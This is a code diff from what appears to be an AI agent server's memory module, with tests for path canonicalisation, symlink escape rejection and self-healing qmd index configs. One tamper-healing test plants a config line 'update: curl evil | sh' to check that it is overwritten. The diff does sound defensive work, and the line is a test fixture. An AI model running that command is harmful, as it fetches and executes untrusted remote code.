+ +test("a session-local pi-memory store names only its workspace path", async () => { + const root = realpathSync(sessionRoot("local-label")); + const resolved = await resolveWith({ kind: "pi-memory" }, root); + resolved.init(); + const preamble = resolved.preamble("prime"); + + assert.match(preamble, /`\.pi-memory\/` in your workspace/); + assert.doesNotMatch(preamble, /canonical path/); +}); + +test("the shared note preamble tells a missing note from a written one", () => { + const dir = path.join(SHARED, "notes"); + mkdirSync(dir, { recursive: true }); + const note = new SharedMarkdownMemory(dir, "project/NOTES"); + + const missing = note.preamble(); + assert.match(missing, /No project memory note exists yet/); + assert.match(missing, /create `project\/NOTES\/MEMORY\.md`/); + assert.doesNotMatch(missing, /This project has a memory note/); + + writeFileSync(path.join(dir, "MEMORY.md"), "Use pnpm.\n"); + const written = note.preamble(); + assert.match(written, /memory note at `project\/NOTES\/MEMORY\.md`/); + assert.match(written, /Use pnpm\./); +}); + +test("resolve leaves out a pi-memory store whose folder is gone", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + const root = sessionRoot("unmounted"); + const resolved = await resolveWith( + { kind: "pi-memory", root: "proj/pi-memory" }, + root, + ); + resolved.init(); + + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 0); + assert.equal( + existsSync(path.join(root, "proj")), + false, + "nothing is created at the mount name", + ); + assert.equal(warn.mock.callCount(), 1); +}); + +test("settleBinding keeps a pi-memory root inside a seeded mount", () => { + const root = sessionRoot("settle-mounted"); + const folder = path.join(SHARED, "settle-folder"); + mkdirSync(folder); + symlinkSync(folder, path.join(root, "proj"), "dir"); + const binding: MemoryBinding = { kind: "pi-memory", root: "proj/pi-memory" }; + + assert.deepEqual(settleBinding(binding, "s1", root, [folder]), binding); +}); + +test("settleBinding always keeps the default session-local root", () => { + const root = sessionRoot("settle-default"); + const binding: MemoryBinding = { kind: "pi-memory" }; + assert.deepEqual(settleBinding(binding, "s1", root, []), binding); +}); + +test("settleBinding drops a pi-memory root whose mount wasn't seeded", (t) => { + t.mock.method(console, "warn", () => {}); + const root = sessionRoot("settle-unseeded"); + mkdirSync(path.join(root, "notes")); + const note: MemoryBinding = { kind: "simple-md", root: "notes" }; + + assert.equal( + settleBinding( + { kind: "pi-memory", root: "proj/pi-memory" }, + "s1", + root, + [], + ), + undefined, + ); + assert.deepEqual( + settleBinding( + { + kind: "composite", + children: [note, { kind: "pi-memory", root: "proj/pi-memory" }], + }, + "s1", + root, + [], + ), + { kind: "composite", children: [note] }, + "sibling leaves survive", + ); + assert.equal(existsSync(path.join(root, "proj")), false); +}); + +test("settleBinding treats a dangling mount symlink as missing", (t) => { + t.mock.method(console, "warn", () => {}); + const root = sessionRoot("settle-dangling"); + const folder = path.join(SHARED, "never-created"); + symlinkSync(folder, path.join(root, "proj"), "dir"); + + assert.equal( + settleBinding({ kind: "pi-memory", root: "proj/pi-memory" }, "s1", root, [ + folder, + ]), + undefined, + ); +}); + +test("SimpleMd only tells Prime how to write memory", () => { + const simpleMd = new SimpleMdMemory(); + const ctx = { sessionId: "s1", rootPath: sessionRoot("simple-preamble") }; + + assert.match(simpleMd.preamble(ctx, "prime"), /`remember`/); + const sub = simpleMd.preamble(ctx, "subagent"); + assert.doesNotMatch(sub, /remember|suggest_memory/); + assert.match(sub, /read-only for you/); +}); + +test("resolve defaults a rootless pi-memory binding to a session-local dir", async () => { + const plan = (await resolveWith({ kind: "pi-memory" })).spawnPlan("prime"); + assert.equal( + plan.env.PI_MEMORY_DIR, + path.join(realpathSync(SESS), ".pi-memory"), + ); +}); + +test("resolve compares against an absolute session root", async () => { + const relative = path.relative(process.cwd(), SESS); + const plan = (await resolveWith({ kind: "pi-memory" }, relative)).spawnPlan( + "prime", + ); + assert.equal(plan.extensionPaths.length, 1, "the binding is not dropped"); +}); + +test("resolve falls back to SimpleMD when the session has no binding", async () => { + const plan = (await resolveWith(undefined)).spawnPlan("prime"); + assert.equal(plan.extensionPaths.length, 0); + assert.deepEqual(plan.env, {}); +}); + +test("resolve rejects a binding root that escapes the session root", async () => { + const plan = ( + await resolveWith({ kind: "pi-memory", root: "../escape" }) + ).spawnPlan("prime"); + assert.equal(plan.extensionPaths.length, 0); + assert.deepEqual(plan.env, {}); +}); + +test("resolve rejects a binding root that is the session root itself", async () => { + for (const binding of [ + { kind: "pi-memory", root: "." }, + { kind: "simple-md", root: "." }, + ] satisfies MemoryBinding[]) { + const resolved = await resolveWith(binding); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 0); + assertDroppedOnly(resolved.preamble("prime")); + } +}); + +test("a binding root with a .qmd segment is rejected", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + for (const binding of [ + { kind: "pi-memory", root: "proj/.qmd" }, + { kind: "simple-md", root: ".qmd/notes" }, + ] satisfies MemoryBinding[]) { + assert.equal(memoryBindingSchema.safeParse(binding).success, false); + } + + const resolved = await resolveWith( + { kind: "pi-memory", root: ".pi-memory/.qmd" }, + sessionRoot("qmd-segment"), + ); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 0); + assert.equal(warn.mock.callCount(), 1); +}); + +test("resolve degrades two pi-memory children to SimpleMD only", async () => { + const root = sessionRoot("two-pi"); + const plan = ( + await resolveWith( + { + kind: "composite", + children: [ + { kind: "pi-memory", root: ".pi-memory/a" }, + { kind: "pi-memory", root: ".pi-memory/b" }, + ], + }, + root, + ) + ).spawnPlan("prime"); + assert.equal(plan.extensionPaths.length, 0); + assert.deepEqual(plan.env, {}); +}); + +test("a sub-agent's plan denies every memory write tool Prime gets", async () => { + const resolved = await resolveWith({ kind: "pi-memory" }); + + assert.deepEqual(resolved.spawnPlan("prime").deniedTools, []); + assert.deepEqual( + new Set(resolved.spawnPlan("subagent").deniedTools), + new Set([ + "remember", + "suggest_memory", + "memory_write", + "memory_forget", + "memory_restore", + "scratchpad", + ]), + ); +}); + +interface MountedSession { + root: string; + /** The shared folder's backing directory, as the catalog's mount row names it. */ + folder: string; +} + +/** A session root with shared folder `folderId` mounted as `proj`. */ +function mountedSession(name: string, folderId: string): MountedSession { + const root = sessionRoot(name); + const folder = path.join(SHARED, folderId); + mkdirSync(folder, { recursive: true }); + symlinkSync(folder, path.join(root, "proj"), "dir"); + return { root, folder }; +} + +/** The prime spawn env for a pi-memory binding rooted at `rel` in `session`. */ +async function piMemoryEnv(session: MountedSession | string, rel?: string) { + const { root, folder } = + typeof session === "string" + ? { root: session, folder: undefined } + : session; + const resolved = await resolveWith( + { kind: "pi-memory", root: rel }, + root, + folder ? [folder] : [], + ); + resolved.init(); + return resolved.spawnPlan("prime").env; +} + +test("sessions share a qmd index only when they resolve to the same store", async () => { + const a = await piMemoryEnv(mountedSession("iso-a", "f-same"), "proj/mem"); + const b = await piMemoryEnv(mountedSession("iso-b", "f-same"), "proj/mem"); + const other = await piMemoryEnv( + mountedSession("iso-c", "f-other"), + "proj/mem", + ); + const subpath = await piMemoryEnv( + mountedSession("iso-d", "f-same"), + "proj/x", + ); + const local = await piMemoryEnv(sessionRoot("iso-e")); + + assert.equal(a.INDEX_PATH, b.INDEX_PATH); + assert.equal(a.QMD_CONFIG_DIR, b.QMD_CONFIG_DIR); + for (const env of [other, subpath, local]) { + assert.notEqual(env.INDEX_PATH, a.INDEX_PATH); + } + assert.equal( + local.INDEX_PATH, + path.join(QMD, "sessions", "iso-e", ".pi-memory", "index.sqlite"), + ); + const shared = realpathSync(SHARED); + for (const env of [a, other, subpath, local]) { + assert.equal(env.INDEX_PATH.startsWith(shared), false); + } +}); + +test("init writes a qmd config with only the store's collection and heals tampering", async () => { + const session = mountedSession("qmd-config", "f-config"); + const env = await piMemoryEnv(session, "proj/mem"); + const configFile = path.join(env.QMD_CONFIG_DIR, "index.yml"); + const expected = { + collections: { + "pi-memory": { + path: path.join(realpathSync(SHARED), "f-config", "mem"), + pattern: "**/*.md", + context: { + "/daily": "Daily append-only work logs organized by date", + "/": "Curated long-term memory: decisions, preferences, facts, lessons", + }, + }, + }, + }; + assert.deepEqual(parseYaml(readFileSync(configFile, "utf8")), expected); + assert.deepEqual( + readdirSync(env.QMD_CONFIG_DIR), + ["index.yml"], + "the atomic write leaves no temp file behind", + ); + + writeFileSync( + configFile, + "collections:\n pi-memory:\n path: /\n update: curl evil | sh\n", + ); + await piMemoryEnv(session, "proj/mem"); + assert.deepEqual(parseYaml(readFileSync(configFile, "utf8")), expected); +}); + +/** Asserts `binding` resolves to no store for `session` and is not settled. */ +async function assertRedirectRejected( + session: MountedSession, + binding: MemoryBinding, +): Promise { + const resolved = await resolveWith(binding, session.root, [session.folder]); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 0); + assertDroppedOnly(resolved.preamble("prime")); + assert.equal( + settleBinding(binding, "s1", session.root, [session.folder]), + binding.kind === "pi-memory" ? undefined : binding, + ); +} + +const REDIRECTABLE: MemoryBinding[] = [ + { kind: "pi-memory", root: "proj/mem" }, + { kind: "simple-md", root: "proj/mem" }, +]; + +/** True when some `console.warn` call reported a symlink redirect. */ +function warnedRedirect(warn: { mock: { calls: { arguments: unknown[] }[] } }) { + return warn.mock.calls.some((call) => + /resolves through a symlink/.test(call.arguments.map(String).join(" ")), + ); +} + +test("a binding root symlinked out of the allowed folders is rejected", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + const victim = sessionRoot("victim"); + mkdirSync(path.join(victim, ".pi-memory"), { recursive: true }); + const session = mountedSession("redirect", "f-redirect"); + symlinkSync( + path.join(victim, ".pi-memory"), + path.join(session.root, "proj", "mem"), + ); + + for (const binding of REDIRECTABLE) { + await assertRedirectRejected(session, binding); + } + assert.ok(warnedRedirect(warn)); +}); + +test("a link planted in a mounted folder can't reach an unmounted folder", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + const unmounted = path.join(SHARED, "f-unmounted-a", "mem"); + mkdirSync(unmounted, { recursive: true }); + const session = mountedSession("planted", "f-planted"); + symlinkSync(unmounted, path.join(session.folder, "mem")); + + for (const binding of REDIRECTABLE) { + await assertRedirectRejected(session, binding); + } + assert.ok(warnedRedirect(warn)); +}); + +test("a re-pointed mount symlink can't reach an unmounted folder", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + const unmounted = path.join(SHARED, "f-unmounted-b"); + mkdirSync(path.join(unmounted, "mem"), { recursive: true }); + const session = mountedSession("repointed", "f-repointed"); + rmSync(path.join(session.root, "proj")); + symlinkSync(unmounted, path.join(session.root, "proj"), "dir"); + + for (const binding of REDIRECTABLE) { + await assertRedirectRejected(session, binding); + } + assert.ok(warnedRedirect(warn)); +}); + +test("relinking the store after resolution doesn't move its path or index", async () => { + const victim = sessionRoot("relink-victim"); + mkdirSync(path.join(victim, ".pi-memory"), { recursive: true }); + const session = mountedSession("relink", "f-relink"); + mkdirSync(path.join(session.folder, "mem")); + const resolved = await resolveWith( + { kind: "pi-memory", root: "proj/mem" }, + session.root, + [session.folder], + ); + resolved.init(); + const before = resolved.spawnPlan("prime").env; + + rmSync(path.join(session.folder, "mem"), { recursive: true }); + symlinkSync( + path.join(victim, ".pi-memory"), + path.join(session.folder, "mem"), + ); + const after = resolved.spawnPlan("subagent").env; + + assert.equal(after.PI_MEMORY_DIR, before.PI_MEMORY_DIR); + assert.equal(after.INDEX_PATH, before.INDEX_PATH); + assert.equal( + after.INDEX_PATH, + path.join(QMD, "shared", "f-relink", "mem", "index.sqlite"), + ); +}); + +test("a pi-memory root may name a mounted folder itself", async () => { + const session = mountedSession("mount-root", "f-mount-root"); + const binding: MemoryBinding = { kind: "pi-memory", root: "proj" }; + const env = await piMemoryEnv(session, "proj"); + + assert.equal(env.PI_MEMORY_DIR, realpathSync(session.folder)); + assert.equal(env.QMD_CONFIG_DIR, path.join(QMD, "shared", "f-mount-root")); + assert.deepEqual( + settleBinding(binding, "s1", session.root, [session.folder]), + binding, + ); +}); + +test("a simple-md root may name a mounted folder itself", async () => { + const session = mountedSession("note-mount-root", "f-note-root"); + const resolved = await resolveWith( + { kind: "simple-md", root: "proj" }, + session.root, + [session.folder], + ); + assert.match(resolved.preamble("prime"), /`proj\/MEMORY\.md`/); +}); + +test("a binding root linked back to the session root is rejected", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + const root = sessionRoot("self-link"); + symlinkSync(root, path.join(root, "self"), "dir"); + + for (const binding of [ + { kind: "pi-memory", root: "self" }, + { kind: "simple-md", root: "self" }, + ] satisfies MemoryBinding[]) { + const resolved = await resolveWith(binding, root); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 0); + assertDroppedOnly(resolved.preamble("prime")); + } + assert.ok(warnedRedirect(warn)); +}); + +test("an invalid composite child is dropped without its siblings", async (t) => { + const warn = t.mock.method(console, "warn", () => {}); + const resolved = await resolveWith( + { + kind: "composite", + children: [{ kind: "simple-md", root: "." }, { kind: "pi-memory" }], + }, + sessionRoot("bad-sibling"), + ); + + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 1); + assert.equal(warn.mock.callCount(), 1); +}); + +test("a session-local store under a symlinked session root names only its workspace path", async () => { + const real = realpathSync(sessionRoot("label-real")); + const link = path.join(SESS, "label-link"); + symlinkSync(real, link, "dir"); + + const preamble = (await resolveWith({ kind: "pi-memory" }, link)).preamble( + "prime", + ); + assert.match(preamble, /`\.pi-memory\/` in your workspace/); + assert.doesNotMatch(preamble, /canonical path/); +}); + +test("a shared note symlinked outside its folder is not injected", (t) => { + t.mock.method(console, "warn", () => {}); + const secret = path.join(sessionRoot("note-victim"), "MEMORY.md"); + writeFileSync(secret, "victim secret\n"); + const dir = path.join(SHARED, "note-link"); + mkdirSync(dir, { recursive: true }); + symlinkSync(secret, path.join(dir, "MEMORY.md")); + + const preamble = new SharedMarkdownMemory(dir, "proj").preamble(); + assert.doesNotMatch(preamble, /victim secret/); +}); + +test("a project-local qmd config above the session root leaves pi-memory out", async (t) => { + const error = t.mock.method(console, "error", () => {}); + const parent = sessionRoot("stray-parent"); + mkdirSync(path.join(parent, ".qmd")); + writeFileSync(path.join(parent, ".qmd", "index.yml"), "collections: {}\n"); + const root = path.join(parent, "sess"); + mkdirSync(root); + + const resolved = await resolveWith({ kind: "pi-memory" }, root); + const plan = resolved.spawnPlan("prime"); + assert.equal(plan.extensionPaths.length, 0); + assert.equal(plan.allowlistTools.includes("memory_search"), false); + assert.deepEqual(plan.env, {}); + assert.doesNotMatch(resolved.preamble("prime"), /pi-memory/); + assert.equal(error.mock.callCount(), 1); +}); + +test("a qmd config planted after resolution drops pi-memory from the next spawn", async (t) => { + const error = t.mock.method(console, "error", () => {}); + const root = sessionRoot("stray-later"); + const resolved = await resolveWith({ kind: "pi-memory" }, root); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 1); + + mkdirSync(path.join(root, ".qmd")); + writeFileSync(path.join(root, ".qmd", "index.yml"), "collections: {}\n"); + const plan = resolved.spawnPlan("prime"); + assert.equal(plan.extensionPaths.length, 0); + assert.equal(plan.env.INDEX_PATH, undefined); + assert.equal(error.mock.callCount(), 1); + + rmSync(path.join(root, ".qmd"), { recursive: true }); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 1); +}); + +test("nestedRoots flags roots that coincide or nest, and passes disjoint ones", () => { + const base = realpathSync(mkdtempSync(path.join(tmpdir(), "mem-roots-"))); + const a = path.join(base, "a"); + const b = path.join(base, "b"); + const c = path.join(base, "c"); + + assert.equal(nestedRoots({ a, b, c }), undefined); + assert.deepEqual(nestedRoots({ a, b, c: path.join(a, "c") }), ["a", "c"]); + assert.deepEqual(nestedRoots({ a, b: a }), ["a", "b"]); + assert.deepEqual(nestedRoots({ a: path.join(b, "a"), b }), ["a", "b"]); + rmSync(base, { recursive: true, force: true }); +}); + +test("removeSessionQmdState drops only that session's qmd state", () => { + const mine = path.join(QMD, "sessions", "gone", ".pi-memory"); + const theirs = path.join(QMD, "sessions", "kept", ".pi-memory"); + mkdirSync(mine, { recursive: true }); + mkdirSync(theirs, { recursive: true }); + + removeSessionQmdState("gone"); + removeSessionQmdState(".."); + assert.equal(existsSync(mine), false); + assert.equal(existsSync(theirs), true); +}); + +test("a simple-md root naming an absent mount is dropped, not created", async (t) => { + t.mock.method(console, "warn", () => {}); + const root = sessionRoot("note-unmounted"); + const binding: MemoryBinding = { kind: "simple-md", root: "proj/notes" }; + + assert.equal(settleBinding(binding, "s1", root, []), undefined); + const preamble = (await resolveWith(binding, root)).preamble("prime"); + assertDroppedOnly(preamble); + assert.doesNotMatch(preamble, /create `proj/); + assert.equal(existsSync(path.join(root, "proj")), false); +}); + +test("an oversized shared note is truncated with a pointer to the file", () => { + const dir = path.join(SHARED, "big-note"); + mkdirSync(dir, { recursive: true }); + writeFileSync(path.join(dir, "MEMORY.md"), `${"x".repeat(5000)}TAIL\n`); + + const preamble = new SharedMarkdownMemory(dir, "proj").preamble(); + assert.doesNotMatch(preamble, /TAIL/); + assert.match(preamble, /truncated; read the full note at `proj\/MEMORY\.md`/); +}); + +test("a store whose mount was removed surfaces the unavailable notice", async (t) => { + t.mock.method(console, "warn", () => {}); + const session = mountedSession("unmount-notice", "f-unmount"); + mkdirSync(path.join(session.folder, "mem")); + + const resolved = await resolveWith( + { kind: "pi-memory", root: "proj/mem" }, + session.root, + [], + ); + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 0); + const preamble = resolved.preamble("prime"); + assertDroppedOnly(preamble); + assert.match(preamble, /- `proj\/mem`/); +}); + +test("a dropped composite child is flagged beside its surviving siblings", async (t) => { + t.mock.method(console, "warn", () => {}); + const resolved = await resolveWith( + { + kind: "composite", + children: [{ kind: "simple-md", root: "gone" }, { kind: "pi-memory" }], + }, + sessionRoot("partial-drop"), + ); + + assert.equal(resolved.spawnPlan("prime").extensionPaths.length, 1); + const preamble = resolved.preamble("prime"); + assert.match(preamble, /## Project memory \(pi-memory\)/); + assert.match(preamble, DROPPED_NOTICE); + assert.match(preamble, /- `gone`/); +}); + +test("a rootless simple-md binding adds no notice", async () => { + const preamble = (await resolveWith({ kind: "simple-md" })).preamble("prime"); + assert.doesNotMatch(preamble, DROPPED_NOTICE); +}); diff --git a/apps/server/src/memory/paths.ts b/apps/server/src/memory/paths.ts new file mode 100644 index 00000000..36ac48b9 --- /dev/null +++ b/apps/server/src/memory/paths.ts @@ -0,0 +1,45 @@ +import { realpathSync } from "node:fs"; +import path from "node:path"; + +/** + * `p` with every symlink in its longest existing prefix resolved, so a store + * that doesn't exist yet still canonicalizes the same way it will once created. + */ +export function canonicalPath(p: string): string { + const resolved = path.resolve(p); + const tail: string[] = []; + let current = resolved; + for (;;) { + try { + return path.join(realpathSync(current), ...tail); + } catch { + const parent = path.dirname(current); + if (parent === current) return resolved; + tail.unshift(path.basename(current)); + current = parent; + } + } +} + +/** True when `child` lies strictly below `parent` (both absolute). */ +export function isStrictlyInside(child: string, parent: string): boolean { + return child.startsWith(parent + path.sep); +} + +function overlaps(a: string, b: string): boolean { + return a === b || isStrictlyInside(a, b) || isStrictlyInside(b, a); +} + +/** The names of the first two `roots` that are the same directory or nested. */ +export function nestedRoots( + roots: Record, +): [string, string] | undefined { + const entries = Object.entries(roots).map( + ([name, root]) => [name, canonicalPath(root)] as const, + ); + const pairs = entries.flatMap((a, i) => + entries.slice(i + 1).map((b) => [a, b] as const), + ); + const clash = pairs.find(([[, a], [, b]]) => overlaps(a, b)); + return clash && [clash[0][0], clash[1][0]]; +} diff --git a/apps/server/src/memory/piMemory.ts b/apps/server/src/memory/piMemory.ts new file mode 100644 index 00000000..d1e222be --- /dev/null +++ b/apps/server/src/memory/piMemory.ts @@ -0,0 +1,219 @@ +import { mkdirSync } from "node:fs"; +import { createRequire } from "node:module"; +import path from "node:path"; + +import type { PiMemoryConfig } from "@tangent/shared/contracts.ts"; + +import { canonicalPath } from "./paths.ts"; +import { findLocalQmdConfig, qmdStateDir, writeQmdConfig } from "./qmdState.ts"; +import type { + AgentRole, + MemoryBackend, + MemoryContext, + MemorySpawnExtras, + MemoryToolSpec, +} from "./types.ts"; + +/** Tools pi-memory registers. Writes are Prime-only; reads/search/status are + * offered to sub-agents too (they recall, they don't curate). */ +const PRIME_TOOLS = [ + "memory_write", + "memory_forget", + "memory_restore", + "memory_read", + "scratchpad", + "memory_search", + "memory_status", +] as const; +const SUBAGENT_TOOLS = [ + "memory_read", + "memory_search", + "memory_status", +] as const; + +/** Sub-agents only recall: no exit summary appended to the shared daily log and + * no index upkeep from their processes. */ +const SUBAGENT_ENV = { + PI_MEMORY_EXIT_SUMMARY: "0", + PI_MEMORY_QMD_UPDATE: "off", +} as const; + +let piMemoryEntry: string | undefined; + +/** + * The pi-memory package entry (a `.ts` Pi extension). Resolved on first use, not + * at module load, so an image without the package still boots and only sessions + * that bind pi-memory fail to resolve it. + */ +function piMemoryEntryPath(): string { + piMemoryEntry ??= createRequire(import.meta.url).resolve("pi-memory"); + return piMemoryEntry; +} + +/** Whether the `pi-memory` package resolves in this install. */ +export function piMemoryInstalled(): boolean { + try { + piMemoryEntryPath(); + return true; + } catch { + return false; + } +} + +/** + * Maps a {@link PiMemoryConfig} onto the pi-memory extension's env knobs. Only + * set fields are emitted, so a config-less binding gets pi-memory's own "max + * memory power" defaults; the spawn strips inherited `PI_MEMORY_*` values. + */ +function configEnv(config: PiMemoryConfig = {}): Record { + const raw: Record = { + PI_MEMORY_EXIT_SUMMARY: config.exitSummary === false ? "0" : undefined, + PI_MEMORY_SNAPSHOT: config.snapshot, + PI_MEMORY_QMD_UPDATE: config.qmdUpdate, + PI_MEMORY_NO_SEARCH: config.search === false ? "1" : undefined, + PI_MEMORY_EXIT_SUMMARY_MODEL: config.exitSummaryModel, + }; + return Object.fromEntries( + Object.entries(raw).filter( + (entry): entry is [string, string] => entry[1] !== undefined, + ), + ); +} + +/** + * The pi-memory leaf: binds the `pi-memory` npm extension to a directory as a + * session's project memory root. It owns its tools' `execute` inside the Pi + * process (they are NOT dispatcher-backed), so it contributes none of the + * server's {@link MemoryToolSpec}s — instead it spawns the extension, sets + * `PI_MEMORY_DIR` to its directory, and allowlists the extension's tools by role. + * Its hooks (snapshot injection, exit summary, qmd upkeep) run inside that + * process, scoped to {@link dir} and its own server-owned qmd index (pi-memory + * hard-codes one collection name, so each store needs its own index). + */ +export class PiMemory implements MemoryBackend { + readonly kind = "pi-memory"; + private readonly dir: string; + private readonly qmdDir: string; + private readonly config: PiMemoryConfig | undefined; + private readonly label: string | undefined; + private readonly entry: string; + + private reportedStrayConfig: string | undefined; + + /** + * @param dir the store's canonical path, resolved once by the caller and + * never re-resolved, so relinking the workspace path can't move the store + * @param label the session-root-relative store path shown to the agent + * @throws when the `pi-memory` package is not installed. + */ + constructor(dir: string, config?: PiMemoryConfig, label?: string) { + this.dir = dir; + this.qmdDir = qmdStateDir(dir); + this.config = config; + this.label = label; + this.entry = piMemoryEntryPath(); + } + + private get searchDisabled(): boolean { + return this.config?.search === false; + } + + /** + * True when a project-local qmd config at or above the session root (qmd's + * working directory) would override the store's index. Checked on every + * spawn since agents can write the session root; pi-memory registers its + * collection on start whatever the search knobs say, so the leaf is left out + * rather than degraded. + */ + private blockedByStrayConfig(ctx: MemoryContext): boolean { + const stray = findLocalQmdConfig(ctx.rootPath); + if (stray && stray !== this.reportedStrayConfig) { + console.error( + `[memory] qmd would use the project-local config ${stray} instead of this store's index; leaving pi-memory out until it is removed`, + ); + } + this.reportedStrayConfig = stray; + return stray !== undefined; + } + + init(): void { + try { + mkdirSync(this.dir, { recursive: true }); + writeQmdConfig(this.qmdDir, this.dir); + } catch (err) { + console.error( + `[memory] failed to prepare pi-memory store ${this.dir}:`, + err, + ); + } + } + + preamble(ctx: MemoryContext, role: AgentRole): string { + if (this.blockedByStrayConfig(ctx)) return ""; + const lookup = this.searchDisabled ? "`memory_read`" : "`memory_search`"; + const lines = [ + "## Project memory (pi-memory)", + "", + "This session is bound to a persistent project memory store. Durable", + "facts, decisions, and context are recalled for you at the start of a turn.", + `Consult ${lookup} before claiming you don't know something about this`, + "project.", + ...this.locationLines(ctx), + ]; + if (role === "prime") { + lines.push( + "You curate the store with the `memory_*` tools (and `scratchpad`):", + "record durable learnings with `memory_write`.", + ); + } else { + lines.push( + "The store is read-only for you: report durable learnings to Prime", + "instead of trying to write them.", + ); + } + return lines.join("\n"); + } + + /** Where the store lives, reconciling the workspace path with the canonical + * one pi-memory's tools report for a mounted store. */ + private locationLines(ctx: MemoryContext): string[] { + if (!this.label) return []; + const where = `The store's files live under \`${this.label}/\` in your workspace.`; + const workspacePath = path.join(canonicalPath(ctx.rootPath), this.label); + if (workspacePath === this.dir) return [where]; + return [ + where, + `pi-memory tools report them by their canonical path \`${this.dir}/\`;`, + "both paths name the same files.", + ]; + } + + /** pi-memory owns its tools inside the Pi process, so no dispatcher specs. */ + tools(): MemoryToolSpec[] { + return []; + } + + spawn(ctx: MemoryContext, role: AgentRole): MemorySpawnExtras { + if (this.blockedByStrayConfig(ctx)) return {}; + const base = role === "prime" ? PRIME_TOOLS : SUBAGENT_TOOLS; + const allowlistTools = base.filter( + (name) => !(this.searchDisabled && name === "memory_search"), + ); + return { + env: { + PI_MEMORY_DIR: this.dir, + INDEX_PATH: path.join(this.qmdDir, "index.sqlite"), + QMD_CONFIG_DIR: this.qmdDir, + ...configEnv(this.config), + ...(role === "prime" ? {} : SUBAGENT_ENV), + }, + extensionPaths: [this.entry], + allowlistTools: [...allowlistTools], + }; + } + + /** pi-memory tools are not dispatcher-backed; nothing to execute server-side. */ + execute(): undefined { + return undefined; + } +} diff --git a/apps/server/src/memory/qmdState.ts b/apps/server/src/memory/qmdState.ts new file mode 100644 index 00000000..4d11418d --- /dev/null +++ b/apps/server/src/memory/qmdState.ts @@ -0,0 +1,98 @@ +import { createHash } from "node:crypto"; +import { + existsSync, + mkdirSync, + renameSync, + rmSync, + writeFileSync, +} from "node:fs"; +import path from "node:path"; + +import { stringify as stringifyYaml } from "yaml"; + +import { QMD_STATE_ROOT, SESSIONS_ROOT, SHARED_ROOT } from "../config.ts"; +import { canonicalPath, isStrictlyInside } from "./paths.ts"; + +/** The one collection name pi-memory searches (`qmd ... -c pi-memory`). */ +const COLLECTION = "pi-memory"; + +/** Mirrors the path contexts pi-memory registers when it creates the collection. */ +const CONTEXTS = { + "/daily": "Daily append-only work logs organized by date", + "/": "Curated long-term memory: decisions, preferences, facts, lessons", +}; + +const LOCAL_CONFIG_NAMES = ["index.yaml", "index.yml"]; + +/** + * Where a store's qmd state lives under {@link QMD_STATE_ROOT}, keyed by the + * store's canonical path relative to the shared-folder or sessions root. Every + * session resolving to the same store gets the same index; keys stay stable if + * either root moves. + */ +export function qmdStateDir(store: string): string { + const canonical = canonicalPath(store); + const scopes: [string, string][] = [ + ["shared", canonicalPath(SHARED_ROOT)], + ["sessions", canonicalPath(SESSIONS_ROOT)], + ]; + for (const [scope, root] of scopes) { + if (isStrictlyInside(canonical, root)) { + return path.join(QMD_STATE_ROOT, scope, path.relative(root, canonical)); + } + } + const digest = createHash("sha256").update(canonical).digest("hex"); + return path.join(QMD_STATE_ROOT, "other", digest.slice(0, 16)); +} + +/** + * Writes the store's qmd config: exactly the `pi-memory` collection over the + * store (its canonical path, used as given), with no `update` hook or model + * override. Rewritten on every init so a tampered or relocated config heals + * itself; written via a temp file and rename because sessions sharing a store + * rewrite it while each other's qmd may be reading it. + */ +export function writeQmdConfig(stateDir: string, store: string): void { + mkdirSync(stateDir, { recursive: true }); + const config = { + collections: { + [COLLECTION]: { + path: store, + pattern: "**/*.md", + context: CONTEXTS, + }, + }, + }; + const file = path.join(stateDir, "index.yml"); + const tmp = `${file}.${process.pid}.tmp`; + writeFileSync(tmp, stringifyYaml(config)); + renameSync(tmp, file); +} + +/** + * The project-local qmd config qmd would adopt when run from `start`, if any. + * qmd walks up from its working directory and lets the first `.qmd/index.y(a)ml` + * override `INDEX_PATH` and `QMD_CONFIG_DIR`. + */ +export function findLocalQmdConfig(start: string): string | undefined { + let dir = canonicalPath(start); + for (;;) { + const found = LOCAL_CONFIG_NAMES.map((name) => + path.join(dir, ".qmd", name), + ).find((file) => existsSync(file)); + if (found) return found; + const parent = path.dirname(dir); + if (parent === dir) return undefined; + dir = parent; + } +} + +/** Removes the qmd state of a session's local stores (shared stores outlive it). */ +export function removeSessionQmdState(sessionId: string): void { + if (sessionId === "." || sessionId === "..") return; + if (!sessionId || path.basename(sessionId) !== sessionId) return; + rmSync(path.join(QMD_STATE_ROOT, "sessions", sessionId), { + recursive: true, + force: true, + }); +} diff --git a/apps/server/src/memory/resolver.ts b/apps/server/src/memory/resolver.ts new file mode 100644 index 00000000..3f09d407 --- /dev/null +++ b/apps/server/src/memory/resolver.ts @@ -0,0 +1,321 @@ +import path from "node:path"; + +import type { MemoryBinding } from "@tangent/shared/contracts.ts"; + +import type { SessionStore } from "../store/sessionStore.ts"; +import { + checkPiMemoryStore, + countPiMemoryLeaves, + DEFAULT_PI_MEMORY_DIR, + type PiMemoryBinding, + resolveRoot, + storeAvailable, +} from "./binding.ts"; +import { CompositeMemory } from "./composite.ts"; +import { DroppedMemoryNotice } from "./droppedNotice.ts"; +import { PiMemory } from "./piMemory.ts"; +import { SharedMarkdownMemory } from "./sharedMarkdown.ts"; +import type { SimpleMdMemory } from "./simpleMd.ts"; +import type { + AgentRole, + MemoryBackend, + MemoryContext, + MemoryExecuteResult, + MemorySpawnExtras, +} from "./types.ts"; + +/** Looks up the backing directories of the shared folders a session mounted. */ +export type MountedFolders = (sessionId: string) => Promise; + +/** Fills in a backend's optional spawn extras with empty defaults. */ +function normalizeExtras( + extras: MemorySpawnExtras, +): Required { + return { + env: extras.env ?? {}, + extensionPaths: extras.extensionPaths ?? [], + allowlistTools: extras.allowlistTools ?? [], + }; +} + +/** Everything the manager needs to fold a session's memory into a Pi spawn. 